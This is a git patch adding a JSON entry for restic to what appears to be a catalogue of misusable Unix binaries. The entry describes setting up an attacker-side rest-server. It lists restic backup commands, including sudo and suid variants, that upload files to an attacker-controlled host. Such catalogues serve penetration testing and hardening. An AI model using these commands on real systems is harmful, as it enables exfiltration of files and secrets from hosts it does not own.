From edab5a0dfccca4d11efcca2318c1fb2968aee550 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Sun, 12 Apr 2020 17:11:10 +0200 Subject: [PATCH] add data source for restic --- data/restic.json | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 data/restic.json diff --git a/data/restic.json b/data/restic.json new file mode 100644 index 0000000..d0c885b --- /dev/null +++ b/data/restic.json @@ -0,0 +1,20 @@ +{ + "description": "The attacker must setup a server to receive the backups, in the following example https://github.com/restic/rest-server/ is used but there are other options. To start a new instance and create a new repository:\n\n./rest-server --listen \":[port]\"\nrestic init -r \"rest:http://localhost:[port]/[file]\"\n\nTo extract the data from the restic repository in the current directory on the attacker side:\n\nrestic restore -r \"/tmp/restic/[file]\" latest --target .\n\nUpload data to the attacker server with the following commands.\n", + "functions": { + "file-upload": [ + { + "code": "restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n" + } + ], + "sudo": [ + { + "code": "sudo restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n" + } + ], + "suid": [ + { + "code": "./restic backup -r \"rest:http://[host]:[port]/[backup]\" \"[file]\"\n" + } + ] + } +} \ No newline at end of file